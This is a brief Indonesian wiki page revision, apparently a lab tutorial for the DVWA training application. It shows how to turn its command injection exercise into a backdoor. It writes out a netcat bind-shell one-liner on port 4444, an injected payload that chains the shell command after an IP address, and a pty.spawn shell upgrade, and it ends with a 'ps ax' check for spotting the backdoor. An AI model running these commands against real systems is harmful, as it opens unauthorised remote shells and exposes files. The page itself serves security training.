Difference between revisions of "DVWA: Command Injection Back Door"
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* [[DVWA]] | * [[DVWA]] | ||
+ | * [[mkfifo]] |
Latest revision as of 14:33, 30 August 2024
Backdoor pada port 4444 menggunakan perintah
mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
Dari command injection di DVWA masukan
192.168.43.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
dimana 192.168.43.1 adalah salah satu IP mesin di jaringan
Selanjutnya kita bisa memasukan perintah2 shell seperti
ls cd /etc cat <namafile> dsb
Ujicoba
Percobaan untuk memperoleh shell
python -c 'import pty; pty.spawn("/bin/sh")'
Cek Operasional Back Door
Di sisi server, dapat mencek adanya back door dengan
ps ax
nanti akan kelihatan mkfifo dkk